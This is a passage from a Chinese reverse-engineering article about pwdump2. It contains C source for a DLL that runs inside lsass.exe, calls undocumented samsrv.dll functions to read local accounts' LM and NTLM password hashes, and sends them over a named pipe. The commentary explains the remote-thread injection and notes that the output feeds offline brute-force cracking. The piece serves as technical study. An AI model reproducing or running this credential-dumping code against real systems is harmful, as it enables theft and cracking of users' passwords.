?? pwdump2samdump.c淺析與改進(jìn).txt
字號(hào):
goto LocateSamsrvEntry_exit;
}
SamrEnumerateDomainsInSamServer = ( SAMRENUMERATEDOMAINSINSAMSERVER )GetProcAddress
(
samsrv,
"SamrEnumerateDomainsInSamServer"
);
if ( !SamrEnumerateDomainsInSamServer )
{
goto LocateSamsrvEntry_exit;
}
SamrLookupDomainInSamServer = ( SAMRLOOKUPDOMAININSAMSERVER )GetProcAddress
(
samsrv,
"SamrLookupDomainInSamServer"
);
if ( !SamrLookupDomainInSamServer )
{
goto LocateSamsrvEntry_exit;
}
ret = TRUE;
LocateSamsrvEntry_exit:
if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
/*
* 后面還要用這些函數(shù)指針,這里不得釋放samsrv.dll
*/
return( ret );
} /* end of LocateSamsrvEntry */
static void PrintHash ( unsigned char *hash )
{
unsigned int i;
char buf[33];
char *p = buf;
for ( i = 0; i < 16; i++ )
{
sprintf( p, "%02X", hash[i] );
p += 2;
}
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s",
buf
);
return;
} /* end of PrintHash */
static void PrintUnicodeString ( PUNICODE_STRING us )
{
int i = 0;
unsigned int len = 0;
unsigned char *ansibuf = NULL,
*ansistr = NULL;
if ( NULL == us )
{
goto PrintUnicodeString_exit;
}
/*
* 將Unicode串轉(zhuǎn)換成DBCS串再顯示,否則中文串顯示有問(wèn)題
*/
len = us->Length + 1;
ansibuf = ( unsigned char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, len );
if ( NULL == ansibuf )
{
ansistr = "No memory for ansibuf";
}
else
{
i = WideCharToMultiByte
(
CP_ACP,
0,
us->Buffer,
( int )( us->Length / 2 ),
ansibuf,
len,
NULL,
NULL
);
if ( 0 == i )
{
ansistr = "WideCharToMultiByte() failed";
}
else
{
ansistr = ansibuf;
}
}
PrivatePrintf( outfile, outbuf, outbuflen, "%s", ansibuf );
PrintUnicodeString_exit:
if ( NULL != ansibuf )
{
HeapFree( GetProcessHeap(), 0, ansibuf );
ansibuf = NULL;
}
return;
} /* end of PrintUnicodeString */
static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId )
{
char *errMsg;
FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dwMessageId,
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s: %s",
message,
errMsg
);
LocalFree
(
errMsg
);
return;
} /* end of PrintWin32ErrorCUI */
static void PrintZwErrorCUI ( char *message, NTSTATUS status )
{
char *errMsg;
FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
RtlNtStatusToDosError( status ),
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s: %s",
message,
errMsg
);
LocalFree
(
errMsg
);
return;
} /* end of PrintZwErrorCUI */
static int PrivatePrintf
(
HANDLE handle,
char *buf,
size_t count,
const char *format,
...
)
{
va_list arg;
int num;
DWORD NumberOfBytes;
if ( INVALID_HANDLE_VALUE == handle || NULL == handle || NULL == buf || 0 == count || NULL == format )
{
return( -1 );
}
/*
* 將來(lái)運(yùn)行在lsass.exe進(jìn)程上下文中,必須動(dòng)用SEH機(jī)制加以保護(hù),否則一旦
* 出現(xiàn)內(nèi)存訪(fǎng)問(wèn)違例,將導(dǎo)致整個(gè)操作系統(tǒng)崩潰!
*/
__try
{
va_start( arg, format );
num = _vsnprintf
(
buf,
count - 1,
format,
arg
);
if ( num >= 0 )
{
WriteFile
(
handle,
buf,
num,
&NumberOfBytes,
NULL
);
}
va_end( arg );
}
__except
(
EXCEPTION_EXECUTE_HANDLER
)
{
num = -1;
}
return( num );
} /* end of PrivatePrintf */
DWORD __cdecl getlmhashdll_main ( char *pipename )
{
DWORD ret = EXIT_FAILURE;
outbuflen = 1024;
outbuf = ( char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, outbuflen );
if ( NULL == outbuf )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == WaitNamedPipe( pipename, NMPWAIT_USE_DEFAULT_WAIT ) )
{
goto getlmhashdll_main_exit;
}
outfile = CreateFile
(
pipename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if ( INVALID_HANDLE_VALUE == outfile )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == LocateNtdllEntry() )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == LocateSamsrvEntry() )
{
goto getlmhashdll_main_exit;
}
/*
* 利用samsrv.dll引出的Undocumented Win32 API獲取本機(jī)帳號(hào)的LM Hash、
* NTLM Hash
*/
getlmhash();
ret = EXIT_SUCCESS;
getlmhashdll_main_exit:
if ( NULL != samsrv )
{
FreeLibrary( samsrv );
samsrv = NULL;
}
if ( INVALID_HANDLE_VALUE != outfile )
{
CloseHandle( outfile );
outfile = INVALID_HANDLE_VALUE;
}
if ( NULL != outbuf )
{
HeapFree( GetProcessHeap(), 0, outbuf );
outbuf = NULL;
}
outbuflen = 0;
return( ret );
} /* end of getlmhashdll_main */
BOOL WINAPI DllMain ( HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad )
{
DisableThreadLibraryCalls( hinstDll );
return( TRUE );
} /* end of DllMain */
/************************************************************************/
--------------------------------------------------------------------------
1) pwdump2在做什么。
假設(shè)當(dāng)前用戶(hù)是Administrator或等效用戶(hù),pwdump2利用遠(yuǎn)程線(xiàn)程注入向lsass.exe
進(jìn)程空間注入一段代碼,加載了samdump.c生成的動(dòng)態(tài)鏈接庫(kù),然后GetProcAddress
獲取samdump.dll的一個(gè)引出函數(shù)并調(diào)用之。該引出函數(shù)獲取當(dāng)前系統(tǒng)中可枚舉帳號(hào)
的LM Hash、NTLM Hash,生成LC4格式(.lc)文件,可用LC4或等效工具進(jìn)行暴力破解。
關(guān)于LM Hash脆弱性,參看<<SMB系列(5)--LM/NTLM驗(yàn)證機(jī)制>>。
http://www.opencjk.org/~scz/200210141957.txt
第一次用加載DLL的辦法完成遠(yuǎn)程線(xiàn)程實(shí)質(zhì)性工作,以前是按照C語(yǔ)言式shellcode的
套路。加載DLL的辦法要省不少細(xì)節(jié)上的糾纏,也趁此多做一點(diǎn)技術(shù)積累。
2) 為什么pwdump2這樣做就可以獲取LM Hash、NTLM Hash。
這個(gè)問(wèn)題,嚴(yán)格意義上的講解太復(fù)雜,又得扯一堆概念進(jìn)來(lái),參看[2]。簡(jiǎn)單地講,
在lsass.exe進(jìn)程上下文中調(diào)用samsrv.dll的未文檔化引出函數(shù),這些函數(shù)會(huì)返回期
望中的LM Hash、NTLM Hash。
開(kāi)始我低估了SAM安全限制。以為以SYSTEM權(quán)限訪(fǎng)問(wèn)SAM即可獲取LM Hash,居然失敗。
最后確認(rèn)非要從lsass.exe進(jìn)程上下文中訪(fǎng)問(wèn)SAM,否則得到如下錯(cuò)誤信息:
SamIConnect() failed: 安全帳戶(hù)管理器(SAM)或本地安全頒發(fā)機(jī)構(gòu)(LSA)服務(wù)器處于運(yùn)行安全操作的錯(cuò)誤狀態(tài)。
3) 既然這種技術(shù)是未文檔化的,那幫人又是如何得到這種技術(shù)的,他們Hacking的過(guò)
程、思想的發(fā)展可能是怎樣的。
最開(kāi)始我在寫(xiě)掃描器遠(yuǎn)程漏洞掃描插件,用NetUserGetInfo()查詢(xún)遠(yuǎn)程用戶(hù)信息,在
Ethereal解碼過(guò)程中意識(shí)到與pwdump2的聯(lián)系。接下來(lái)有了逆向samsrv.dll的想法。
逆完SampUpdateEncryption、SampGetCurrentAdminPassword,就得出了前面那個(gè)抽
象流程。再與samdump.c一對(duì)照,思路很清晰。雖然我不清楚bindview的人是怎么接
近此處的,但按我這個(gè)搞法,也可接近此處,就不無(wú)謂糾纏了。
4) 在此基礎(chǔ)上我們還能繼續(xù)Hacking出其它有用的東西嗎。
目前我沒(méi)有更多時(shí)間Hacking這個(gè)方向,但至少成功還原了一批函數(shù)原型、數(shù)據(jù)結(jié)構(gòu)。
有些東西可能目前階段沒(méi)有直接用途,但日后肯定會(huì)用到的。
枚舉值SamUserOWFPasswordInformation(0x12)只能用于本機(jī)操作,如在網(wǎng)絡(luò)操作中
指定0x12級(jí)查詢(xún),會(huì)報(bào)告無(wú)效級(jí)別,顯然這出于安全考慮。我在一個(gè)底層SMB測(cè)試程
序中手工構(gòu)造SamrQueryInformationUser(36)報(bào)文,試圖指定level 0x12,查詢(xún)失敗。
5) 下次讓你獨(dú)立確定一個(gè)課題并研究之,你會(huì)在上述研究中受到什么樣的啟發(fā),比
如選題方向、研究方法、工具使用等等。
由此想到一種研究Windows未文檔化函數(shù)的方法。很多SMB網(wǎng)絡(luò)函數(shù)第一形參指定目標(biāo)
系統(tǒng),當(dāng)該形參為NULL時(shí)目標(biāo)系統(tǒng)即本機(jī)。如果用Ethereal抓取了網(wǎng)絡(luò)通信報(bào)文,根
據(jù)DCE RPC的marshalling/unmarshalling知識(shí),有可能還原最初的數(shù)據(jù)結(jié)構(gòu),而這種
數(shù)據(jù)結(jié)構(gòu)同時(shí)適用于本機(jī)、遠(yuǎn)程操作。再結(jié)合適當(dāng)?shù)哪嫦蚬こ蹋M(jìn)展會(huì)更大。當(dāng)然,
有個(gè)重要前提,就是Ethereal已經(jīng)進(jìn)行了正確的Network Hacking,否則會(huì)導(dǎo)致錯(cuò)誤
結(jié)論。你還必須能夠在Ethereal所解析出的遠(yuǎn)程過(guò)程、Windows RPC Server以及MSDN
中的Win32 API這三者之間找到必然聯(lián)系。
有個(gè)較深的感受,有些東西之間看似沒(méi)有聯(lián)系,實(shí)際卻殊途同歸。很早以前就想看看
pwdump2的實(shí)現(xiàn)機(jī)理,一直覺(jué)得它是橫空出世的,沒(méi)有來(lái)歷,很茫然。搞不清為什么
要GetProcAddress獲取那些引出函數(shù)地址。沒(méi)想到在網(wǎng)絡(luò)通信解碼過(guò)程中豁然開(kāi)朗。
看樣子以后正門(mén)搞不定了,就扔到一邊,說(shuō)不定哪天發(fā)現(xiàn)到處是側(cè)門(mén)。
☆ 參考資源
[ 2] Windows NT Security, Part 1
http://www.winntmag.com/Articles/Print.cfm?ArticleID=3143
Windows NT Security, Part 2
http://www.winntmag.com/Articles/Print.cfm?ArticleID=3492
?? 快捷鍵說(shuō)明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -